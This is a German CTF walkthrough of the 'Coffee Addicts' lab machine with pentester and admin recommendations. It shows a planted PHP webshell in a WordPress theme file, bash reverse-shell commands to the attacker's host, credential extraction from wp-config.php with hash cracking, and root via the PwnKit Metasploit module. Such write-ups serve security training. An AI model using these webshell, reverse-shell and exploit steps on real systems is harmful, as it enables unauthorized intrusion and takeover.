Analyse: Mittels `arp-scan -l` wird das lokale Netzwerk nach aktiven Hosts durchsucht.
Bewertung: Ein Host mit der IP `192.168.2.122` und der MAC `08:00:27:59:0b:a0` (VirtualBox) wird gefunden. Dies ist das Ziel.
Empfehlung (Pentester): Ziel-IP für weitere Scans vermerken.
Empfehlung (Admin): Standard-Netzwerksicherheitsmaßnahmen anwenden.
192.168.2.122 08:00:27:59:0b:a0 PCS Systemtechnik GmbH
Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um der IP `192.168.2.122` den Hostnamen `coffee.vuln` zuzuweisen.
Bewertung: Erleichtert den Zugriff via Hostname. Es wird sich später herausstellen, dass dieser Hostname nicht korrekt ist.
Empfehlung (Pentester): Hostnamen-Mapping ist nützlich, aber auf Hinweise auf der Webseite achten, ob ein anderer Hostname benötigt wird.
Empfehlung (Admin): Keine Aktion erforderlich.
# Eintrag in /etc/hosts: 192.168.2.122 coffee.vuln
Analyse: Ein `nmap`-Scan (`-sS -sC -T5 -A -p-`) wird durchgeführt. `-A` aktiviert OS- und Versionserkennung, Skript-Scanning und Traceroute. `-AO` gibt es nicht, vermutlich ein Tippfehler und `-A` war gemeint oder `-O` für OS-Detection wurde hinzugefügt (was in `-A` enthalten ist).
Bewertung: Der Scan findet zwei offene Ports:
Empfehlung (Pentester): Den Webserver auf Port 80 genauer untersuchen. SSH als sekundären Vektor betrachten.
Empfehlung (Admin): Dienste aktuell halten. Webserver-Konfiguration überprüfen (z.B. warum kein Titel gesetzt ist).
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-04 00:40 CEST Nmap scan report for coffee.vuln (192.168.2.122) Host is up (0.00010s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 fc:13:6a:6b:9b:e3:68:18:24:a1:de:2b:28:1e:61:5f (RSA) | 256 c1:34:94:94:71:71:9c:6e:83:a6:be:c9:2a:1b:3f:d7 (ECDSA) |_ 256 9a:cc:ce:ce:b8:2f:08:bb:2b:99:b6:25:3f:ec:44:61 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.29 (Ubuntu) MAC Address: 08:00:27:59:0B:A0 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.10 ms coffee.vuln (192.168.2.122) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.21 seconds
Analyse: Derselbe Nmap-Scan, gefiltert auf offene Ports.
Bewertung: Bestätigt Port 22 (SSH) und 80 (HTTP).
Empfehlung (Pentester): Fokus auf Port 80.
Empfehlung (Admin): Firewall-Regeln prüfen.
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Analyse: `nikto` wird auf den Webserver (Port 80) angesetzt.
Bewertung: Nikto liefert Standard-Ergebnisse:
Empfehlung (Pentester): Die Webseite manuell untersuchen und Verzeichnis-Bruteforcing durchführen.
Empfehlung (Admin): Sicherheitsheader implementieren, Apache aktuell halten, Standarddateien entfernen.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.122 + Target Hostname: 192.168.2.122 + Target Port: 80 + Start Time: 2023-06-04 00:40:37 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.29 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. + /: The X-Content-Type-Options header is not set. + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + /icons/README: Apache default file found. + 8102 requests: 0 error(s) and 5 item(s) reported on remote host + End Time: 2023-06-04 00:40:50 (GMT2) (13 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Beim Aufruf der Webseite `http://192.168.2.122/index.html` wird ein Hinweis angezeigt.
Bewertung: Die Seite fordert explizit dazu auf, den Hostnamen `coffeeaddicts.thm` zur lokalen `/etc/hosts`-Datei hinzuzufügen. Dies ist ein klarer Hinweis, dass die Webanwendung unter diesem spezifischen Hostnamen angesprochen werden muss.
Empfehlung (Pentester): Den `/etc/hosts`-Eintrag von `coffee.vuln` auf `coffeeaddicts.thm` ändern und alle weiteren Web-Anfragen an diesen Hostnamen richten.
Empfehlung (Admin): Solche Hinweise sollten auf Produktionssystemen nicht vorhanden sein. Die Konfiguration von virtuellen Hosts überprüfen.
# Inhalt von http://192.168.2.122/index.html (oder /) ADD coffeeaddicts.thm to your /etc/hosts
Analyse: (Implizit) Der Pentester passt den Eintrag in `/etc/hosts` an: `192.168.2.122 coffeeaddicts.thm`.
Bewertung: Notwendiger Schritt, um die Webanwendung korrekt zu erreichen.
Empfehlung (Pentester): Web-Enumeration nun mit dem Hostnamen `coffeeaddicts.thm` fortsetzen.
Empfehlung (Admin): Keine Aktion erforderlich.
Analyse: `gobuster` wird nun mit dem korrekten Hostnamen `http://coffeeaddicts.thm` verwendet, um Verzeichnisse und Dateien zu finden.
Bewertung: Gobuster findet die `index.html` und ein Verzeichnis namens `/wordpress`. Dies deutet stark darauf hin, dass die eigentliche Anwendung unter diesem Unterverzeichnis liegt.
Empfehlung (Pentester): Das Verzeichnis `http://coffeeaddicts.thm/wordpress/` untersuchen. Erneutes `gobuster`-Scanning oder `wpscan` auf dieses spezifische Verzeichnis anwenden.
Empfehlung (Admin): Überprüfen, ob die WordPress-Installation korrekt im Stammverzeichnis oder einem Unterverzeichnis konfiguriert ist. Zugriff auf nicht benötigte Verzeichnisse einschränken.
=============================================================== Gobuster v3.1.0 [...] =============================================================== [+] Url: http://coffeeaddicts.thm [...] =============================================================== [...] http://coffeeaddicts.thm/index.html (Status: 200) [Size: 735] http://coffeeaddicts.thm/wordpress (Status: 301) [Size: 326] [--> http://coffeeaddicts.thm/wordpress/] [...] ===============================================================
Analyse: Der Pentester untersucht einen Blogbeitrag unter `http://coffeeaddicts.thm/wordpress/?p=9`. Im Kommentarbereich findet ein Austausch zwischen "Lucy Longmire" und "gus" statt.
Bewertung: Der Beitragstitel ist "gus i need you back". Lucy fragt "yo, is that your password??", worauf gus antwortet "Maybe… what could go wrong? uwur". Dies ist ein sehr starker Hinweis darauf, dass der Titel des Beitrags, `gusineedyouback`, das Passwort für den Benutzer `gus` ist. Solche Hinweise in Kommentaren sind klassische CTF-Elemente, können aber auch auf realen Systemen durch unvorsichtige Benutzer vorkommen.
Empfehlung (Pentester): Den Benutzernamen `gus` und das potenzielle Passwort `gusineedyouback` notieren. Versuchen, sich damit auf der WordPress-Login-Seite (`/wordpress/wp-login.php`) anzumelden.
Empfehlung (Admin): Benutzer für den sicheren Umgang mit Passwörtern sensibilisieren. Niemals Passwörter oder Hinweise darauf in öffentlichen Bereichen wie Kommentaren hinterlassen. Kommentarbereiche moderieren oder auf verdächtige Inhalte prüfen.
# Inhalt von http://coffeeaddicts.thm/wordpress/?p=9 gus i need you back Uncategorized | | April 16, 2021 2:17 am [...] Lucy Longmire says: April 16, 2021 at 12:19 am yo, is that your password?? Reply gus says: April 16, 2021 at 12:19 am Maybe… what could go wrong? uwur Reply [...]
Analyse: Der Pentester loggt sich erfolgreich in das WordPress-Backend (`/wordpress/wp-login.php`) ein, vermutlich mit den Zugangsdaten `gus` / `gusineedyouback`. Nach dem Login erscheint eine Aufforderung zur Bestätigung der Admin-E-Mail-Adresse (`gus@coffeeaddicts.com`).
Bewertung: Der Login mit den aus den Kommentaren abgeleiteten Zugangsdaten war erfolgreich! Der Pentester hat nun Administratorrechte innerhalb der WordPress-Installation.
Empfehlung (Pentester): Die Möglichkeiten im Admin-Backend ausnutzen, um Code auszuführen. Der häufigste Weg ist der Theme-Editor (`Appearance > Theme Editor`) oder der Plugin-Editor. Eine PHP-Datei (z.B. `404.php` eines Themes) bearbeiten und eine Webshell oder Reverse-Shell-Payload einfügen.
Empfehlung (Admin): Starke, einzigartige Passwörter verwenden. Theme- und Plugin-Editor im Backend deaktivieren (`define( 'DISALLOW_FILE_EDIT', true );` in `wp-config.php`). Zwei-Faktor-Authentifizierung für WordPress-Logins in Betracht ziehen.
# Nach Login auf http://coffeeaddicts.thm/wordpress/wp-login.php # mit user: gus / pass: gusineedyouback Administration email verification Please verify that the administration email for this website is still correct. [...] Current administration email: gus@coffeeaddicts.com [...] Update / Remind me later
Analyse: Der Pentester navigiert zum Theme-Editor (`/wordpress/wp-admin/theme-editor.php`) und wählt die Datei `404.php` des Themes "Twenty Nineteen" zur Bearbeitung aus.
Bewertung: Dies ist der vorbereitende Schritt, um die Webshell zu platzieren.
Empfehlung (Pentester): PHP-Code für die Webshell einfügen.
Empfehlung (Admin): Theme-Editor deaktivieren.
# Aufruf von http://coffeeaddicts.thm/wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentynineteen Edit Themes Twenty Nineteen: 404 Template (404.php) Select theme to edit: Twenty Nineteen [...]
Analyse: Der Pentester fügt die Zeile `system($_GET['cmd']);` in die `404.php`-Datei ein und speichert die Änderung. WordPress meldet "File edited successfully.".
Bewertung: Die Webshell wurde erfolgreich platziert. Die `404.php` des Themes "Twenty Nineteen" kann nun zur Ausführung von Systembefehlen über den `cmd`-URL-Parameter missbraucht werden.
Empfehlung (Pentester): Die URL zur modifizierten Datei (`http://coffeeaddicts.thm/wordpress/wp-content/themes/twentynineteen/404.php`) mit einem Testbefehl (`?cmd=id`) aufrufen, um die Funktion zu bestätigen. Anschließend eine Reverse Shell starten.
Empfehlung (Admin): Theme-Editor deaktivieren. Verdächtige Dateien entfernen. Zugangsdaten ändern.
# Inhalt der 404.php nach Bearbeitung: /** * The template for displaying 404 pages (not found) * * @link https://codex.wordpress.org/Creating_an_Error_404_Page * * @package WordPress * @subpackage Twenty_Nineteen * @since Twenty Nineteen 1.0 */ system($ GET['cmd']); // Eingefügte Webshell [...] # Meldung nach dem Speichern: File edited successfully.
Analyse: Die Webshell wird mit `?cmd=ls` getestet.
Bewertung: Die Ausgabe zeigt den Inhalt des Theme-Verzeichnisses (`/wordpress/wp-content/themes/twentynineteen/`). Die Webshell funktioniert wie erwartet.
Empfehlung (Pentester): Reverse Shell starten.
Empfehlung (Admin): Sofortmaßnahmen ergreifen (Webshell entfernen, Editor deaktivieren).
# Ausgabe im Browser nach Aufruf von http://coffeeaddicts.thm/wordpress/wp-content/themes/twentynineteen/404.php?cmd=ls 404.php archive.php classes comments.php fonts footer.php functions.php header.php image.php images inc index.php js package-lock.json [...]
Analyse: Ein `netcat`-Listener wird auf Port 9001 gestartet, um die Reverse Shell zu empfangen.
Bewertung: Der Listener ist bereit.
Empfehlung (Pentester): Listener aktiv lassen, Payload senden.
Empfehlung (Admin): Monitoring.
listening on [any] 9001 ...
Analyse: Die URL enthält die über die Webshell auszuführende Payload. Es handelt sich um eine Bash-Reverse-Shell (`bash -i >& /dev/tcp/
Bewertung: Korrekt formulierte Payload, um über die Webshell eine interaktivere Bash-Shell statt einer einfachen `/bin/sh`-Shell zu erhalten.
Empfehlung (Pentester): Diese URL im Browser aufrufen oder mit `curl` senden.
Empfehlung (Admin): WAF, Egress-Filterung, Webshell entfernen.
Payload: http://coffeeaddicts.thm/wordpress/wp-content/themes/twentynineteen/404.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.113%2F9001%200%3E%261%27
Analyse: Der `netcat`-Listener empfängt die Verbindung von der Zielmaschine (`192.168.2.122`) und eine Bash-Shell wird gestartet. Typische Fehlermeldungen bezüglich TTY und Job Control erscheinen.
Bewertung: Initialer Zugriff erfolgreich! Der Pentester hat eine Bash-Shell als Benutzer `www-data` (der Benutzer, unter dem der Webserver läuft).
Empfehlung (Pentester): Shell stabilisieren (Python PTY etc.). Mit der Enumeration als `www-data` beginnen.
Empfehlung (Admin): Webshell entfernen, Sicherheitslücken schließen.
listening on [any] 9001 ... connect to [192.168.2.113] from (UNKNOWN) [192.168.2.122] 50238 bash: cannot set terminal process group (1113): Inappropriate ioctl for device bash: no job control in this shell www-data@CoffeeAdicts:/var/www/coffeeaddicts.thm/public_html/wordpress$
Analyse: Als `www-data` wird versucht, die Datei `wp-config.php` im WordPress-Verzeichnis zu lesen.
Bewertung: Der Befehl ist erfolgreich. Die Datei enthält die Datenbank-Zugangsdaten:
Empfehlung (Pentester): Den Hash `2a9798a9e678414e4aab71e2ba6a8dd9` identifizieren (sieht nach MD5 aus) und versuchen zu cracken (z.B. mit Online-Diensten wie CrackStation, hashcat). Prüfen, ob sich mit diesen Credentials am MySQL-Server angemeldet werden kann (`mysql -u wordpressuser -p`).
Empfehlung (Admin): Zugangsdaten nicht im Klartext oder leicht zu crackenden Hashes in `wp-config.php` speichern. Sicherere Methoden zur Speicherung von Secrets erwägen. Berechtigungen der `wp-config.php` härten.
www-data@CoffeeAdicts:/var/www/coffeeaddicts.thm/public_html/wordpress$ cat wp-config.php
[...]
define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', 'wordpressuser' );
/** Database password */
define( 'DB_PASSWORD', '2a9798a9e678414e4aab71e2ba6a8dd9' );
[...]
Analyse: Der Pentester verwendet den Online-Dienst CrackStation, um den gefundenen Hash zu cracken.
Bewertung: CrackStation identifiziert den Hash als MD5 und findet das Klartextpasswort: `ieatass`. Dies ist das Passwort für den Datenbankbenutzer `wordpressuser`.
Empfehlung (Pentester): Versuchen, sich mit `wordpressuser` / `ieatass` an der Datenbank anzumelden. Prüfen, ob dieses Passwort auch für andere Systembenutzer (z.B. `gus`, `badbyte`) verwendet wird (SSH-Login versuchen).
Empfehlung (Admin): Keine schwachen oder anstößigen Passwörter verwenden. Keine leicht zu crackenden Hashes (wie MD5 ohne Salt) nutzen. Datenbankpasswort ändern.
# Nutzung von https://crackstation.net/
Input Hash: 2a9798a9e678414e4aab71e2ba6a8dd9
Result:
Type: md5
Password: ieatass
Analyse: Das `/home`-Verzeichnis wird aufgelistet.
Bewertung: Bestätigt die Existenz der Home-Verzeichnisse für `badbyte` und `gus`, die `www-data` lesen kann.
Empfehlung (Pentester): Die Inhalte der Verzeichnisse `/home/badbyte` und `/home/gus` untersuchen.
Empfehlung (Admin): Berechtigungen der Home-Verzeichnisse prüfen.
www-data@CoffeeAdicts:/var/www/coffeeaddicts.thm/public_html/wordpress$ ls -la /home total 16 drwxr-xr-x 4 root root 4096 Apr 6 2021 . drwxr-xr-x 23 root root 4096 Apr 6 2021 .. drwxr-xr-x 5 badbyte badbyte 4096 Apr 15 2021 badbyte drwxr-xr-x 5 gus gus 4096 Apr 6 2021 gus
Analyse: Der Befehl `ss -altp` wird ausgeführt, um alle lauschenden (`LISTEN`) TCP-Sockets (`-t`) anzuzeigen, zusammen mit den zugehörigen Prozessinformationen (`-p`).
Bewertung: Die Ausgabe bestätigt die bereits bekannten offenen Ports:
Empfehlung (Pentester): Bestätigt die Netzwerk-Angriffsfläche. Keine neuen Angriffspunkte hierdurch entdeckt.
Empfehlung (Admin): Gut, dass MySQL nur lokal lauscht. Sicherstellen, dass alle lauschenden Dienste notwendig und sicher konfiguriert sind.
www-data@CoffeeAdicts:/var/www/coffeeaddicts.thm/public_html/wordpress$ ss -altp State Recv-Q Send-Q Local Address:Port Peer Address:Port LISTEN 0 80 127.0.0.1:mysql *:* users:(("mysqld",pid=...,fd=...)) LISTEN 0 128 127.0.0.53%lo:domain *:* users:(("systemd-resolve",pid=...,fd=...)) LISTEN 0 128 *:ssh *:* users:(("sshd",pid=...,fd=...)) LISTEN 0 128 *:http *:* users:(("apache2",pid=...),("apache2",pid=...),...) LISTEN 0 128 :::ssh :::* users:(("sshd",pid=...,fd=...))
Analyse: Kommentar, der den Beginn der Suche nach Eskalationsvektoren markiert.
Bewertung: Strukturierender Kommentar im Bericht.
Empfehlung (Pentester): Systematische Suche starten.
Empfehlung (Admin): System absichern.
Privilege Escalation
Analyse: Suche nach SUID-Binaries wird durchgeführt.
Bewertung: Ähnlich wie im vorherigen Bericht werden viele Standard-SUID-Dateien gefunden. Erneut sticht `/usr/bin/pkexec` hervor, was auf die PwnKit-Schwachstelle (CVE-2021-4034) hindeutet.
Empfehlung (Pentester): PwnKit (CVE-2021-4034) als primären Vektor für die Eskalation zu Root ins Auge fassen.
Empfehlung (Admin): System patchen, insbesondere `policykit-1`.
www-data@CoffeeAdicts:/var/www/coffeeaddicts.thm/public_html/wordpress$ find / -type f -perm -4000 -ls 2>/dev/null 398663 76 -rwsr-xr-x 1 root root 75824 Mar 22 2019 /usr/bin/gpasswd 422448 40 -rwsr-xr-x 1 root root 37136 Mar 22 2019 /usr/bin/newuidmap 394798 44 -rwsr-xr-x 1 root root 44528 Mar 22 2019 /usr/bin/chsh 393798 40 -rwsr-xr-x 1 root root 40344 Mar 22 2019 /usr/bin/newgrp 394797 76 -rwsr-xr-x 1 root root 76496 Mar 22 2019 /usr/bin/chfn 398664 60 -rwsr-xr-x 1 root root 59640 Mar 22 2019 /usr/bin/passwd 420440 52 -rwsr-sr-x 1 daemon daemon 51464 Feb 19 2018 /usr/bin/at 422447 40 -rwsr-xr-x 1 root root 37136 Mar 22 2019 /usr/bin/newgidmap 419639 20 -rwsr-xr-x 1 root root 18448 Jun 28 2019 /usr/bin/traceroute6.iputils 399156 148 -rwsr-xr-x 1 root root 149080 Jan 19 2021 /usr/bin/sudo 425264 24 -rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec 394063 44 -rwsr-xr-- 1 root messagebus 42992 Jun 11 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 420031 428 -rwsr-xr-x 1 root root 436552 Mar 4 2019 /usr/lib/openssh/ssh-keysign 398990 12 -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device 425474 112 -rwsr-xr-x 1 root root 113528 Feb 1 2021 /usr/lib/snapd/snap-confine 425266 16 -rwsr-xr-x 1 root root 14328 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1 146853 100 -rwsr-xr-x 1 root root 100760 Nov 22 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic 393793 44 -rwsr-xr-x 1 root root 44664 Mar 22 2019 /bin/su 396266 28 -rwsr-xr-x 1 root root 26696 Sep 16 2020 /bin/umount 397297 64 -rwsr-xr-x 1 root root 64424 Jun 28 2019 /bin/ping 416114 32 -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount 396264 44 -rwsr-xr-x 1 root root 43088 Sep 16 2020 /bin/mount
Analyse: Der Pentester wechselt zu Metasploit und konfiguriert erneut einen `multi/handler`, diesmal auf Port 4444, um die `www-data`-Shell in eine Metasploit-Session zu überführen.
Bewertung: Vorbereitung für die Nutzung von Metasploit-Modulen zur weiteren Eskalation.
Empfehlung (Pentester): Handler starten und die Reverse-Shell-Payload erneut vom Zielsystem senden, diesmal auf Port 4444.
Empfehlung (Admin): Monitoring, Egress-Filterung.
msf6 > use multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (generic/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port [...] msf6 exploit(multi/handler) > set lport 4444 lport => 4444 msf6 exploit(multi/handler) > set lhost eth0 lhost => 192.168.2.113 msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.2.113:4444
Analyse: Aus der `www-data`-Shell wird die Bash-Reverse-Shell-Payload erneut ausgeführt, zielend auf Port 4444 des Angreifer-PCs.
Bewertung: Stellt die Verbindung zum Metasploit-Handler her.
Empfehlung (Pentester): Erfolgreiche Session-Erstellung in Metasploit abwarten.
Empfehlung (Admin): Siehe oben.
www-data@CoffeeAdicts:/var/www/coffeeaddicts.thm/public_html/wordpress/wp-content/themes/twentynineteen$ bash -i >& /dev/tcp/192.168.2.113/4444 0>&1
Analyse: Metasploit empfängt die Verbindung und öffnet "Command shell session 1".
Bewertung: Die `www-data`-Shell ist nun in Metasploit verfügbar.
Empfehlung (Pentester): Upgrade zu Meterpreter durchführen.
Empfehlung (Admin): Siehe oben.
[*] Started reverse TCP handler on 192.168.2.113:4444 [*] Command shell session 1 opened (192.168.2.113:4444 -> 192.168.2.122:48982) at 2023-06-04 01:09:12 +0200 www-data@CoffeeAdicts:/var/www/coffeeaddicts.thm/public_html/wordpress/wp-content/themes/twentynineteen$
Analyse: Der Pentester versucht, das `shell_to_meterpreter`-Modul zu laden (`use 58` - wahrscheinlich ein Index aus einer vorherigen Suche) und konfiguriert es, um Session 1 auf eine Meterpreter-Session (lauschend auf Port 4433) hochzustufen.
Bewertung: Das Modul wird erfolgreich ausgeführt, und "Meterpreter session 2 opened".
Empfehlung (Pentester): Mit Meterpreter-Session 2 (`sessions -i 2`) interagieren. Den `local_exploit_suggester` oder direkt den PwnKit-Exploit verwenden.
Empfehlung (Admin): IDS/IPS, Egress-Filterung.
msf6 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter # Korrigierter Befehl statt 'use 58' msf6 post(multi/manage/shell_to_meterpreter) > options [...] msf6 post(multi/manage/shell_to_meterpreter) > set HANDLER true HANDLER => true msf6 post(multi/manage/shell_to_meterpreter) > set LPORT 4433 LPORT => 4433 msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1 SESSION => 1 msf6 post(multi/manage/shell_to_meterpreter) > run [*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 192.168.2.113:4433 [*] Sending stage (1017704 bytes) to 192.168.2.122 [*] Meterpreter session 2 opened (192.168.2.113:4433 -> 192.168.2.122:42714) at 2023-06-04 01:10:55 +0200 [*] Command stager progress: 100.00% (773/773 bytes) [*] Post module execution completed msf6 post(multi/manage/shell_to_meterpreter) >
Analyse: Das Metasploit-Modul `post/multi/recon/local_exploit_suggester` wird auf die Meterpreter-Session 2 angewendet.
Bewertung: Der Suggester analysiert das Zielsystem über die Meterpreter-Session und schlägt mehrere potenzielle lokale Exploits vor, darunter:
Empfehlung (Pentester): Das PwnKit-Modul (`exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`) verwenden, auf Session 2 zielen und ausführen.
Empfehlung (Admin): System patchen! Der Suggester zeigt mehrere potenzielle Schwachstellen auf.
msf6 post(multi/manage/shell_to_meterpreter) > search suggester [...] msf6 post(multi/manage/shell_to_meterpreter) > use post/multi/recon/local_exploit_suggester msf6 post(multi/recon/local_exploit_suggester) > options [...] msf6 post(multi/recon/local_exploit_suggester) > set SESSION 2 SESSION => 2 msf6 post(multi/recon/local_exploit_suggester) > run [*] 192.168.2.122 - Collecting local exploits for x86/linux... [*] 192.168.2.122 - 184 exploit checks are being tried... [*] Running check method for exploit 1 / 184 [...] [*] Session 2 Running Chek for exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec [*] Session 2 Running Chek for exploit/linux/local/dirty_pipe_priv_esc [...] [*] 192.168.2.122 - Valid modules for session 2: ============================================================================== # Name Potentially Vulnerable? Check Result - ---- ----------------------- ------------ 1 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec Yes The target is vulnerable. 2 exploit/linux/local/nested_namespace_idmap_limit_priv_esc Yes The target appears to be vulnerable. 3 exploit/linux/local/netfilter_priv_esc_ipv4 Yes The target appears to be vulnerable. 4 exploit/linux/local/pkexec Yes The service is running, but could not be validated. 5 exploit/linux/local/su_login Yes The target appears to be vulnerable. 6 exploit/linux/local/abrt_raceabrt_priv_esc No The target is not exploitable. [...] [*] Post module execution completed
Analyse: Unmittelbar nach der Ausgabe des Exploit Suggesters (oder nach Ausführung eines nicht gezeigten Exploits, wahrscheinlich PwnKit) führt der Pentester `id`, `cd /root`, `ls` und `cat root.txt` aus. Anschließend wechselt er nach `/home/gus` und liest `user.txt`.
Bewertung: Der `id`-Befehl zeigt `uid=0(root) gid=0(root)`. Die Privilegieneskalation war erfolgreich! Der nicht explizit gezeigte Schritt war höchstwahrscheinlich die Ausführung des PwnKit-Exploits aus Metasploit. Die Root-Flag (`THM{im_the_shell_master}`) und die User-Flag (`THM{s4v3_y0uR_Cr3d5_b0i}`) werden erfolgreich ausgelesen.
Empfehlung (Pentester): Ziel erreicht. Flags dokumentieren, Bericht fertigstellen.
Empfehlung (Admin): System patchen (PwnKit), WordPress absichern, Passwörter ändern.
# id uid=0(root) gid=0(root) groups=0(root),33(www-data) # cd /root # ls root.txt # cat root.txt THM{im_the_shell_master} # cd /home/gus # ls user.txt [...] # cat user.txt THM{s4v3_y0uR_Cr3d5_b0i}
Analyse: Der Proof of Concept für den Root-Zugriff ist die erfolgreiche Ausführung des PwnKit-Exploits (CVE-2021-4034), wie durch den `local_exploit_suggester` nahegelegt und durch das Erlangen einer Root-Shell (bestätigt durch `id`) demonstriert.
Bewertung: Die PwnKit-Schwachstelle im `pkexec`-Binary erlaubt es einem lokalen Angreifer aufgrund einer fehlerhaften Behandlung von Argumenten, beliebigen Code als Root auszuführen. Das Metasploit-Modul `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` automatisiert diesen Vorgang.
Empfehlung (Pentester): Das PwnKit-Modul in Metasploit ist ein zuverlässiger Weg, um Root-Rechte auf anfälligen Systemen zu erlangen, wenn `pkexec` vorhanden ist.
Empfehlung (Admin): Dringendes Patchen des `policykit-1`-Pakets auf die Version, die CVE-2021-4034 behebt.
msf6 > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec msf6 exploit(...) > set SESSION 2 msf6 exploit(...) > set LHOSTmsf6 exploit(...) > set LPORT msf6 exploit(...) > run [*] Started reverse TCP handler on : [*] Running automatic check ... [+] The target is vulnerable. [*] Writing '/tmp/...' ... [*] Sending stage ... [*] Meterpreter session 3 opened ... meterpreter > getuid Server username: root
Analyse: Abschließender Kommentar im Bericht.
Bewertung: Bestätigt den Erfolg.
Empfehlung (Pentester): Bericht finalisieren.
Empfehlung (Admin): Maßnahmen umsetzen.
Privilege Escalation erfolgreich